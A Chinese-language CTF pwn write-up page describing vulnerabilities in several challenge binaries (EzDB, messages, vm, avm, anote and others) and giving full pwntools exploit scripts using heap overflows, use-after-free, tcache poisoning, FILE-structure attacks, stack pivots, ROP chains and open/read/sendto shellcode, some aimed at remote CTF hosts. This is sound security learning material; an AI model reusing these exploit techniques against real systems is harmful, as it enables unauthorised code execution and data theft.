标签 Pwn 下的文章

EzDB

程序模拟了一个数据库,其中每个表的数据从高地址向低地址增长,低地址存放数据的堆上偏移。每个表总长 1024 字节,每个偏移 4 字节长。一次性写入 1021 字节的数据可以覆盖偏移值,从而修改块大小,得到堆上无限长溢出读写。

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './db'

# io = process(binary)
io = connect('61.147.171.106', 61212)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

def create(index: int):
    io.sendlineafter(b'>>> ', b'1')
    io.sendlineafter(b'Index: ', itob(index))

def remove(index: int):
    io.sendlineafter(b'>>> ', b'2')
    io.sendlineafter(b'Index: ', itob(index))

def insert(index: int, length: int, content:bytes) -> int:
    io.sendlineafter(b'>>> ', b'3')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Length: ', itob(length))
    io.sendafter(b'Varchar: ', content)
    io.recvuntil(b'slot id: ')
    return int(io.recvline(False).decode())

def get(index: int, slot: int) -> bytes:
    io.sendlineafter(b'>>> ', b'4')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Slot ID: ', itob(slot))
    io.recvuntil(b'Varchar: ')
    return io.recvline(False)

def edit(index: int, slot: int, length: int, content: bytes):
    io.sendlineafter(b'>>> ', b'5')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Slot ID: ', itob(slot))
    io.sendlineafter(b'Length: ', itob(length))
    io.sendafter(b'Varchar: ', content)

def exitit():
    io.sendlineafter(b'>>> ', b'6')

for i in range(10):
    create(i)
for i in range(1, 10):
    remove(i)

insert(0, 1021, cyclic(1020) + b'\x00')
rec = get(0, 0)
libc.address = u64(rec[8765 : 8765 + 8]) - 0x21ace0
success(f'libc_base: 0x{libc.address:x}')
tcache_key = u64(rec[1037 : 1037 + 8])
success(f'tcache_key: 0x{tcache_key:x}')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(tcache_key << 12) + 0x4000)
payload = hos.hoi_read_file_template((tcache_key << 12) + 0x4000, 0x400, (tcache_key << 12) + 0x4000, 0)

rec = rec.replace(rec[7613 : 7613 + 8], p64((libc.sym['_IO_list_all'] - 0x400 + 16) ^ (tcache_key + 1)))
edit(0, 0, 7613 + 8, rec[:7613 + 8])

create(1)
insert(1, len(payload), payload)
create(2)
insert(2, 16, p64((tcache_key << 12) + 8128) + p64(0))

exitit()
hos.bomb(io)

io.interactive()

smart_door_lock 复现

分析题目附件

题目给出了启动脚本和 Dockerfile,一个根目录 cpio 镜像,一个内核镜像。打开 rootfs.cpio,在 /init 里有

nohup /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf >/dev/null &
nohup bash /usr/sbin/mqtt_restart.sh >/dev/null &

。其中 mosquitto 是 MQTT 协议的 message broker,是一个用于物联网设备的消息代理服务,和其他设备远程通信。所以这道题的远程环境不是用 nc 直接连的,也没法直接用 pwntools。

/usr/sbin/mqtt_restart.sh 每秒尝试重启 /usr/sbin/mqtt_lock

#!/bin/bash
PROCESS_NAME="mqtt_lock"

while true; do
    if ! ps -ef | grep -v grep | grep -q "$PROCESS_NAME"; then
        nohup /usr/sbin/mqtt_lock > /dev/null 2>&1 &
    fi
    sleep 1
done &

,而 mqtt_lock 就是我们要逆向分析的程序。

MQTT 协议

...

连接 / 利用

首先要把设备的证书取出来,在 /etc/mosquitto/certs,然后用 Python paho 连接设备。

import paho.mqtt.client as mqtt
import ssl

client = mqtt.Client()
client.tls_set(ca_certs="./certs/ca.crt", tls_version=ssl.PROTOCOL_TLS)
client.tls_insecure_set(True)
client.connect('localhost', 8883)
client.loop_start()

但是比赛期间一直不知道该订阅什么 topic,mqtt_lock 又是个静态链接无符号的程序,逆向起来实在难绷。topic 一般有斜杠 /,我翻遍所有的字符串也没找到像 topic 的,于是就先去做其他题了。

订阅 # 就是订阅所有 topic,但对于这道题也没什么用,这个设备不会主动发送任何信息。其实是向 auth_token topic publish 16 字节长的字母数字字符串作为 TOKEN,然后向 TOKEN topic 发送指纹。指纹在 /etc/mosquitto/fingers_credit 中取。

之后就是增删改查堆利用了。

待续...

签个到吧

执行 shellcode 前清空了寄存器上下文,但在 rdi 保留了 shellcode 基址,于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0),getshell。

io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')

好easy嘅题啦

VM 指令 heap 中可以操作堆快,alloc free print input。其中 free 后未置空堆块指针,存在 UAF。首先申请 0x500 大堆块,在其中提前写入之后用到的 shellcode:open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块,获取其中残留的 tcache next,获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定,再利用 UAF double free tcache chunk,tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处,写入ROP 链 mprotect 修改页权限并 ret2shellcode。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

p = process(binary)
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'create? ', b'1\n')

# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
s = 0.5

def heap():
    io.sendline(b'heap 0 0')
    sleep(s)

def alloc(size: int):
    io.sendlineafter(b'Heap operate: ', b'alloc')
    io.sendlineafter(b'Size: ', itob(size))
    sleep(s)

def free():
    io.sendlineafter(b'Heap operate: ', b'free')
    sleep(s)

def printit():
    io.sendlineafter(b'Heap operate: ', b'print')
    sleep(s)

def input(content: bytes):
    io.sendlineafter(b'Heap operate: ', b'input')
    io.sendafter(b'Input: ', content)
    sleep(s)

def AveMujica():
    io.sendline(b'AveMujica 0 0')
    sleep(s)

io.recvuntil(b'Input your Code (end with EOF): ')

for _ in range(13):
    heap()
AveMujica()
io.sendline(b'EOF')

alloc(0x500)
input(p64(0xdeadbeef) * 4 + asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 9
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 7
    syscall
    mov rsi, rsp
    
"""))
free()
printit()

io.recvuntil(b'Content: ')
libc.address = u64(io.recv(8)) - 2206944
success(f'libc_base: 0x{libc.address:x}')

alloc(0x60)
free()
printit()

io.recvuntil(b'Content: ')
heap_key = u64(io.recv(8))
success(f'heap_key: 0x{heap_key:x}')

input(b'\x00' * 16)
free()
input(p64((libc.address - 980792 - 24) ^ heap_key))
alloc(0x60)
# gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)')
alloc(0x60)
input(p64(0xcafebabe) * 3 + flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_key << 12,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    (heap_key << 12) + 1888
]))

io.interactive()

p.wait()

由于 lib 加载顺序不同,远程和本地的线程栈与 libc 偏移不同,需要在 docker container 中调试获取。

米塔调试机

输入指令时使用 scanf %s,可以溢出修改栈上 nowhomenowver,在 name 中构造假 MitaHome 和 Version 堆结构,将 nowhomenowver 劫持到对应位置,即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块,利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning,修改 _IO_list_allname 处,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vuln6'

# io = process(binary)
io = connect('node.vnteam.cn', 47984)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

io.sendlineafter(b'name:\n', cyclic(0x200))
io.sendlineafter(b'>>> ', b'$show')
io.recvuntil(b'caaf')
heap_base = u32(io.recv(4)) - 672
success(f'heap_base: 0x{heap_base:x}')

io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa')
for i in range(25):
    io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa')

name = 0x4040E0

fake_heap  = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40)
fake_heap += p64(0) + p64(0x41) + cyclic(0x30)
fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832)
fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0)

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', fake_heap)
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3))

io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3))
0x1140a340
io.recvuntil(b'Now MiTaHome: ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944
success(f'libc_base: 0x{libc.address:x}')

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2))

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))

io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername')
io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000)
payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', payload)

io.sendlineafter(b'>>> ', b'$exit')
io.recvuntil(b'Player out! :(\n')
hos.bomb_orw(io, b'/flag', offset=1816, read_length=128)

io.interactive()

虽然提示说有要用到可以无限长输入的指令格式,但其实只要空字节截断字符串就好?

题目链接

messages

程序分为 input_messagesprint_messages 两部分。在输入祝福时字符串被连续顺序地存储在 bss 段,字符串之间由空字符分隔。输出祝福前程序先将字符串集的数据结构由连续紧凑存储转换为字符串数组,字符串值被拷贝到栈上。栈上数组长度有限且每个数组元素字符串空间占用相等(即使实际只有几个字符)。注意虽然正常键盘输入无法输入空字符,但利用 pwntools 等工具可以直接向程序输入空字符,无论程序直接使用系统调用还是使用标准库 IO 函数(本题未涉及,但也常见)。所以我们可以在输入的字符串中间插入空字符(b'\0'),程序输出时没有检查字符串最大个数(只检查了字符串最大长度,因此无法直接溢出),可以构造多个字符串(长度须大于 1),从而使程序在之后的字符串数组转换过程中数组下标溢出,直至栈上返回地址。栈上每个字符串占用 56 字节,一个长度占用 8 字节,长度数组长 20 * 8 字节,所以覆盖完字符串数组后还需构造 3 个字符串以到达返回地址。程序中存在后门函数 getflag 且未开启 PIE 保护所以可以直接 ret2text,程序未开启 canary 保护所以可以直接溢出。注意 print_messages 函数栈上还有用于存储字符串长度的数组(IDA 无法正确识别),需要手动修复字符串数组以及长度数组变量类型(char messages[16][56];size_t lengths[20];)。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) # 填满栈上 `messages` 数组
io.sendafter(b'> ', b'\x01\x01\x00' * 3 + p64(e.sym['getflag'])) # 填满栈上 `lengths` 数组及暂存 `rbp`、覆盖返回地址(`\x01` 可为任意非空字符)
io.sendafter(b'> ', b'\n') # 结束输入

io.interactive()

strncpy 会将目标剩余空间全部清零,所以可以正确写入地址而无需考虑将原本的地址剩余部分清零。实际做题时无需理解并修复 IDA 识别的栈上变量类型,也无需精确计算需要构造的字符串个数。只需构造多个不同的字符串,结合 gdb 调试看返回地址被改成哪个字符串值并将该字符串替换为后门函数地址即可。

messages_flag2

拿 flag1 过程中就不难发现由于字符串数组下标溢出修改了 lengths 数组,程序可以越界输出栈上值。栈上一定存在 libc 地址(例如 main 的返回地址在 __libc_start_main 中),因此可以泄露 libc 基址。本题栈上变量布局比较凑巧,虽然由于字符串输入会被地址空字节截断,因此无法在同一个字符串中连续输入两个地址(x86_64 虚拟地址长度仅 6 字节,用户空间地址中必然包含空字节),无法直接写入 ROP 链。但是由于栈上暂存 rbp 和返回地址恰好位于栈上 messages 中两个字符串的交界处,所以可以同时修改,构造栈迁移。第一轮输入时覆盖返回地址为 main 以构造第二轮输入同时泄露 libc 基址。第二轮输入时利用 leave; ret gadget 将栈迁移到 bss 段,提前在此输入 ROP 链(注意先将输入字符串填充至 8 字节对齐),即可 getshell。

Exp:

from pwn import *

context(arch='amd64', os='linux')
io = ...
e = ELF('./messages')
libc = ELF('./libc.so.6', checksec=None)

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01\x00\xd0\x01\x00' + p64(e.sym['main']))
io.sendafter(b'> ', b'\n')

io.recvuntil('有人说:aa'.encode())
io.recvuntil('有人说:aa'.encode())
io.recvuntil('有人说:aa'.encode())
libc.address = u64(io.recvuntil('有人说:'.encode(), drop=True)[-8:]) - 171584 # __libc_start_main+128
success(f'libc_base: 0x{libc.address:x}')

io.sendafter(b'> ', (b'aa\0' * 16)[:-1])
io.sendafter(b'> ', b'\x01\x01\x00\x01\x01')
io.sendafter(b'> ', cyclic(48) + p32(0x4040f8)[:-1]) # 去除地址中空字节
io.sendafter(b'> ', p64(libc.search(asm('leave;ret')).__next__()))
payload0 = flat([
    0x405000,
    libc.search(asm('pop rdi;ret')).__next__(),
    libc.search(b'/bin/sh\x00').__next__(),
    libc.search(asm('pop rsi;ret')).__next__(),
    0,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
])
payload1 = b'\x00' * 15 + p64(libc.sym['execve'])
io.sendafter(b'> ', cyclic(5) + payload0)
io.sendafter(b'> ', payload1)
io.sendafter(b'> ', b'\n')

io.interactive()

注意由于 bss 空间不大,getshell 时不能使用 system 函数,否则执行过程中栈指针到达不可写段触发段错误。改用 execve 系统调用包装函数,传参 "/bin/sh", 0, 0,无需额外栈空间。(栈迁移时一般都如此)

vm

通过 read_vm 函数还原出 main 函数以及 VM 结构体:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  initit();
  vmdata = mmap((void *)0x64617461000LL, 0x30000uLL, 3, 34, -1, 0LL);
  vmcode = (__int64)mmap((void *)0x7063000, 0x10000uLL, 3, 34, -1, 0LL);
  stack = (__int64)mmap((void *)0x73746163000LL, 0x20000uLL, 3, 34, -1, 0LL) + 0x10000;
  read_vm((struct vm *)&vmdata);
  execute((vm *)&vmdata);
}
00000000 struct vm // sizeof=0x58
00000000 {
00000000     char *vmdata;
00000008     char *pc;
00000010     uint64_t *regs[6];
00000040     char *stack;
00000048     __int64 base;
00000050     __int64 field_50;
00000058 };

其中 regsstackbase 字段在 execute 内部逆向过程中得出。

进入 execute 中的 decode 可以看出指令由指令最低 2 位分为四种:11 - 加载立即数至寄存器、10 - 两个形式地址、01 - 一个形式地址、00 - 带参数的隐含寻址,每种指令每个形式地址有直接寻址和寄存器间接寻址方式排列组合。

__int64 __fastcall decode(struct vm *vm, char *reading_code)
{
  char *vmcode0; // rax
  int low2; // eax
  char *pc; // rax
  char *_opcode1; // rax
  __int64 result; // rax
  char *__code1; // rax
  char *_code2; // rax
  char *vmcode1; // rax
  unsigned __int8 v10; // [rsp+17h] [rbp-9h]
  unsigned int i; // [rsp+18h] [rbp-8h]

  vmcode0 = vm->pc;
  vm->pc = vmcode0 + 1;
  *reading_code = *vmcode0;
  reading_code[1] = *reading_code & 3;
  low2 = (unsigned __int8)reading_code[1];
  if ( low2 == 3 )
  {
    vmcode1 = vm->pc;
    vm->pc = vmcode1 + 1;
    *((_DWORD *)reading_code + 1) = (unsigned __int8)*vmcode1;
    if ( check_reg(*((_DWORD *)reading_code + 1)) )
      return 0xFFFFFFFFLL;
    *((_DWORD *)reading_code + 2) = *(_QWORD *)vm->pc;
    vm->pc += 8;
  }
  else if ( (unsigned __int8)reading_code[1] <= 3u )
  {
    if ( low2 == 2 )                            // 2
    {
      __code1 = vm->pc;
      vm->pc = __code1 + 1;
      *((_DWORD *)reading_code + 1) = (unsigned __int8)*__code1;
      _code2 = vm->pc;
      vm->pc = _code2 + 1;
      *((_DWORD *)reading_code + 2) = (unsigned __int8)*_code2;
      if ( check_reg(*((_DWORD *)reading_code + 1)) && check_reg(*((_DWORD *)reading_code + 2)) )
        return 0xFFFFFFFFLL;
    }
    else if ( reading_code[1] )                 // 1
    {
      _opcode1 = vm->pc;
      vm->pc = _opcode1 + 1;
      v10 = *_opcode1;
      if ( check_reg((unsigned __int8)*_opcode1) )
        return 0xFFFFFFFFLL;
      *((_DWORD *)reading_code + 1) = v10;
    }
    else                                        // 0
    {
      for ( i = 0; i <= 2; ++i )
      {
        *((_DWORD *)reading_code + 1) <<= 8;
        pc = vm->pc;
        vm->pc = pc + 1;
        *((_DWORD *)reading_code + 1) |= (unsigned __int8)*pc;
      }
    }
  }
  result = (unsigned __int8)*reading_code;
  if ( !(_BYTE)result )
    return 0xFFFFFFFFLL;
  return result;
}
void __fastcall __noreturn execute(vm *vm)
{
  int M; // eax
  _BYTE *code; // [rsp+18h] [rbp-8h]

  code = malloc(12uLL);
  memset(code, 0, 8uLL);
  do
  {
    if ( (unsigned int)decode(vm, code) == -1 )
      break;
    M = *code & 3;
    if ( M == 3 )                               // imm
    {
      imm(vm, code);
    }
    else if ( (*code & 3u) <= 3 )
    {
      if ( M == 2 )                             // 2
      {
        two((__int64)vm, (__int64)code);
      }
      else if ( (*code & 3) != 0 )              // 1
      {
        one(vm, (__int64)code);
      }
      else                                      // 3*1
      {
        three((__int64)vm, (__int64)code);
      }
    }
    memset(code, 0, 0xCuLL);
    if ( vm->pc <= (char *)0x7062FFF )
      break;
  }
  while ( vm->pc <= (char *)0x7162FFF && vm->stack > (char *)0x73746162FFFLL && vm->stack <= (char *)0x73746183000LL );
  puts("Segment error");
  _exit(0);
}

然后可以照着 ROM vmcode 文件辅助分析,可以抄录 vmcode 如下:

load %0, $1     ; stdout
load %1, $0     ; vmdata + 0
load %2, $0x1b  ; length
syscall 0, 0, 1 ; SYS_write
???
pop %0          ; clear %0
pop %1          ; clear %1
add %1, $0x200  ; vmdata + 0x200
xor %0, %0      ; stdin
load %2, $0x300 ; length
syscall 0, 0, 0 ; SYS_read
jmp %1;         ; jump to vmcode + 0x300

各种指令最关键的是 VM syscall,有 read、write、exit、create、delete、load(从 vmdata 写入堆)、put(从堆写入 vmdata)。

void __fastcall heap_op(__int64 a1, __int64 a2, void *a3, size_t a4)
{
  switch ( (int)a1 )
  {
    case 0:
      if ( ((unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL)
        && ((unsigned __int64)a3 <= 0x7062FFF || (unsigned __int64)a3 > 0x7073000) )
      {
        insecure(a1, a2);
      }
      read(a2, a3, a4);
      break;
    case 1:
      if ( (unsigned __int64)a3 <= 0x64617460FFFLL || (unsigned __int64)a3 > 0x64617491000LL )
        insecure(a1, a2);
      write(a2, a3, a4);
      break;
    case 2:
      exit(a2);
    case 3:
      create(a2);
      break;
    case 4:
      delete(a2);
      break;
    case 5:
      load(a2, (unsigned int)a3, a4);
      break;
    case 6:
      put(a2, (unsigned int)a3, a4);
      break;
    default:
      return;
  }
}

其中 create、delete 为堆操作,add 限制 16 个, delete 有 UAF 漏洞。

__int64 __fastcall create(unsigned int size)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; chunks[i] && i <= 15; ++i )
    ;
  if ( i == 16 )
    return 0LL;
  chunks[i] = malloc(size);
  if ( !chunks[i] )
    return 0LL;
  sizes[i] = size;
  return 1LL;
}
void __fastcall delete(unsigned int idx)
{
  if ( idx <= 0xF )
  {
    if ( chunks[idx] )
      free((void *)chunks[idx]);                // UAF
  }
}

然后就是典型的 libc 堆利用。参考之前抄写的 ROM vmcode,依葫芦画瓢写出堆操作模板。

def load(reg: int, imm: int):
    return b'\x0f' + p8(reg) + p64(imm)

def add(size: int) -> bytes:
    return load(0, size) + b'\xcc\x00\x00\x03'

def edit(index: int, address: int, length: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'

def delete(index: int) -> bytes:
    return load(0, index) + b'\xcc\x00\x00\x04'

def load_to(offset: int, imm: int) -> bytes:
    return load(0, offset) + load(1, imm) + b'\x46\x01\x00'

def put_to(index: int, address: int, lenngth: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'

def print_to(fd: int, offset: int, length: int) -> bytes:
    return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'

def exitit():
    return b'\xcc\x00\x00\x02'

unsorted bin chunk leak libc_base,tcache bin chunk leak heap_base。利用 UAF 修改 tcache next,tcache attack 劫持 _IO_list_all,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)getshell。

d995597d-d16e-461f-9c8c-493287f656e2

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vm'

io = process('./vm')
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io)
'b *$rebase(0x1599)\n'
'b *$rebase(0x196f)\nb *$rebase(0x1924)\nb *$rebase(0x1743)'

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', file.read()[4:])

def load(reg: int, imm: int):
    return b'\x0f' + p8(reg) + p64(imm)

def add(size: int) -> bytes:
    return load(0, size) + b'\xcc\x00\x00\x03'

def edit(index: int, address: int, length: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, length) + b'\xcc\x00\x00\x05'

def delete(index: int) -> bytes:
    return load(0, index) + b'\xcc\x00\x00\x04'

def load_to(offset: int, imm: int) -> bytes:
    return load(0, offset) + load(1, imm) + b'\x46\x01\x00'

def put_to(index: int, address: int, lenngth: int) -> bytes:
    return load(0, index) + load(1, address) + load(2, lenngth) + b'\xcc\x00\x00\x06'

def print_to(fd: int, offset: int, length: int) -> bytes:
    return load(0, fd) + load(1, offset) + load(2, length) + b'\xd4\x00\x00\x01'

def exitit():
    return b'\xcc\x00\x00\x02'

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', add(0x500) + add(0x50) + delete(0) + put_to(0, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])

libc.address = u64(io.recv(8)) - 2206944
print(f'libc_base: {hex(libc.address)}')

with open('vmcode', 'rb') as file:
    io.sendafter(b'opcodes:\n', delete(1) + put_to(1, 0x110, 0x8) + print_to(1, 0x110, 0x8) + file.read()[4:])
heap_base = u64(io.recv(8))
print(f'heap_base: {hex(heap_base)}')
print(f'search -t qword {hex(libc.sym['_IO_list_all'] ^ heap_base)}')

fake_file_offset = 0x7063aa8
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base << 12) + 0x1000)
payload = hos.hoi_read_file_template((heap_base << 12) + 0x1000, 0x400, (heap_base << 12) + 0x1000, 0)

io.sendlineafter(b'opcodes:\n', (edit(1, 0x200, 0x16) + delete(1) + load_to(0x100, (libc.sym['_IO_list_all'] ^ heap_base) & 0xffffffff) + load_to(0x104, (libc.sym['_IO_list_all'] ^ heap_base) >> 32) + edit(1, 0x100, 0x8) + add(0x50) + add(0x50) + load_to(0x200, fake_file_offset) + edit(3, 0x200, 0x8) + exitit()).ljust(0x150, b'\x00') + payload)

hos.bomb(io)

io.interactive()

5G消息_TLS

根据题目标题和流量内容,用 Wireshark 分析电话/SIP 流,其中第一条短信是:

Alice, I am Bob. I stole the sslkeylog file, this is crazy.

接下来 Bob 将 keylog_file 分段发送。将这几条短信内容拼接得到:

SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795
EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0
SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630
CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0
CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405

将它保存为文件,在 Wireshark 编辑/首选项/Protocols/TLS 中设置 (Pre)-Master-Secret log filename 即可解密 TLS 流。在短信之前的 TLS 流中可以提取到 PNG 图片,内容即为 flag:

abcdef1234567890deadbeefc0ffeeba

anote

菜单堆,堆块大小固定为 0x1c,edit 时有明显堆溢出。堆块上有一 edit callback 函数指针,修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后,但是可以堆溢出修改相邻堆上的 callback 函数指针。

Exp:

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './note'

io = process(binary)
e = ELF(binary)

# size: 0x1c
def add():
    io.sendlineafter(b'>>', b'1')

def show(index: int):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b': ', itob(index))

# size <= 0x28
def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', itob(size))
    io.sendlineafter(b': ', content)

def exit():
    io.sendlineafter(b'>>', b'4') 

backdoor = 0x080489CE

add()
add()
show(0)
io.recvuntil(b'gift: ')
heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8
success(f'heap_addr: {heap_backdoor_addr:x}')
edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr))
edit(1, 4, p32(0))

io.interactive()

avm

VM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。

功能有加减乘除等基本运算,没有直接的加载立即数。opcode 10 是 load from stack,opcode 9 是 write to stack,两者皆不检查边界,栈上任意读写。输入的 command 在栈上,可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc,VM 内计算真实地址,写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题,所以返回到 system 中跳过一次 push 的位置。

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def code(opcode: int, a: int, b: int, r: int) -> bytes:
    return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r)

main_ret_addr_offset = 171408
system_8 = 329986

io.send(code(10, 3384, 0, 1) +  # load main retaddr to *1

        code(10, 328, 0, 2) +  # load offset0 to *2
        code(10, 336, 0, 3) +  # load offset1 to *3
        code(10, 344, 0, 4) +  # load offset2 to *4

        code(1, 2, 1, 5) +  # add *2 by *1 to *5
        code(1, 3, 1, 6) +  # add *3 by *1 to *6
        code(1, 4, 1, 7) +  # add *4 by *1 to *7

        code(9, 0x118 + 16, 8, 7) +  # write *7 to *retaddr+16
        code(9, 0x118 + 8, 8, 6) +  # write *6 to *retaddr+8
        code(9, 0x118 + 0, 8, 5) +  # write *5 to *retaddr

        p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) +  # offset0
        p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) +  # offset1
        p64(system_8 - main_ret_addr_offset)  # offset2 (system)
        )

io.interactive()

novel1

